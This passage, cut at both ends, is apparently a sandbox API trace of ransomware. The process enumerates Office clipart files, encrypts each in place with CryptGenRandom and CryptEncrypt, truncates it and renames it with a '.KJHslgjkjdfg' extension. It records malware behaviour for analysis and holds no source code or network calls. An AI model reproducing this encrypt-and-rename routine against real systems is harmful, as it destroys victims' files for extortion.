(in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.216] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.216] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0190.219] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.219] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.219] GetProcessHeap () returned 0x2a0000 [0190.219] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.219] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.219] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.219] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.219] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.219] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.219] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.219] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.219] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.220] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.220] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.220] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.220] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6302, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6302, lpOverlapped=0x0) returned 1 [0190.221] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6310, dwBufLen=0x6310 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6310) returned 1 [0190.221] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.221] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6310, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6310, lpOverlapped=0x0) returned 1 [0190.222] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.222] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x63e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.222] SetEndOfFile (hFile=0x114) returned 1 [0190.226] GetProcessHeap () returned 0x2a0000 [0190.226] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.226] GetProcessHeap () returned 0x2a0000 [0190.226] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.226] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf.kjhslgjkjdfg")) returned 1 [0190.228] CloseHandle (hObject=0x114) returned 1 [0190.228] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3636, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00704_.WMF", cAlternateFileName="")) returned 1 [0190.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.229] GetProcessHeap () returned 0x2a0000 [0190.230] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.230] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.230] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.230] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0190.232] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.232] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.232] GetProcessHeap () returned 0x2a0000 [0190.232] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.232] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.232] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.232] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.232] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.233] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.233] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.233] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.233] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.233] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.233] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.233] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.233] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3636, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3636, lpOverlapped=0x0) returned 1 [0190.234] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3640, dwBufLen=0x3640 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3640) returned 1 [0190.234] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.234] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3640, lpOverlapped=0x0) returned 1 [0190.234] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.235] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.235] SetEndOfFile (hFile=0x114) returned 1 [0190.237] GetProcessHeap () returned 0x2a0000 [0190.237] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.237] GetProcessHeap () returned 0x2a0000 [0190.237] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.238] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf.kjhslgjkjdfg")) returned 1 [0190.239] CloseHandle (hObject=0x114) returned 1 [0190.239] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6697b000, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6697b000, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x16478, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00726_.WMF", cAlternateFileName="")) returned 1 [0190.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.241] GetProcessHeap () returned 0x2a0000 [0190.241] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.241] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.241] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.242] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.244] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.244] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.244] GetProcessHeap () returned 0x2a0000 [0190.244] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.244] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.244] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.244] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.244] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.244] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.244] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.245] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.245] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.245] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.245] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.245] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.245] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x16478, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x16478, lpOverlapped=0x0) returned 1 [0190.247] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16480, dwBufLen=0x16480 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16480) returned 1 [0190.248] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.248] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x16480, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x16480, lpOverlapped=0x0) returned 1 [0190.248] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.248] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x16554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.248] SetEndOfFile (hFile=0x114) returned 1 [0190.252] GetProcessHeap () returned 0x2a0000 [0190.252] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.252] GetProcessHeap () returned 0x2a0000 [0190.252] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.252] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf.kjhslgjkjdfg")) returned 1 [0190.254] CloseHandle (hObject=0x114) returned 1 [0190.254] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d1f5400, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d1f5400, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x1758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00728_.WMF", cAlternateFileName="")) returned 1 [0190.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.256] GetProcessHeap () returned 0x2a0000 [0190.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.256] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.256] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.256] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.258] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.258] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.258] GetProcessHeap () returned 0x2a0000 [0190.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.258] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.258] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.258] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.258] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.259] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.259] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.259] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.259] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.259] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.259] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.259] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.259] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1758, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1758, lpOverlapped=0x0) returned 1 [0190.260] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1760, dwBufLen=0x1760 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1760) returned 1 [0190.260] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.260] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1760, lpOverlapped=0x0) returned 1 [0190.260] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.260] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.260] SetEndOfFile (hFile=0x114) returned 1 [0190.263] GetProcessHeap () returned 0x2a0000 [0190.263] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.263] GetProcessHeap () returned 0x2a0000 [0190.263] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.263] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf.kjhslgjkjdfg")) returned 1 [0190.265] CloseHandle (hObject=0x114) returned 1 [0190.265] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5096e900, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5096e900, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00732_.WMF", cAlternateFileName="")) returned 1 [0190.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.267] GetProcessHeap () returned 0x2a0000 [0190.267] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.267] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.267] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.267] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.269] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.269] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.270] GetProcessHeap () returned 0x2a0000 [0190.270] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.270] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.270] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.270] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, 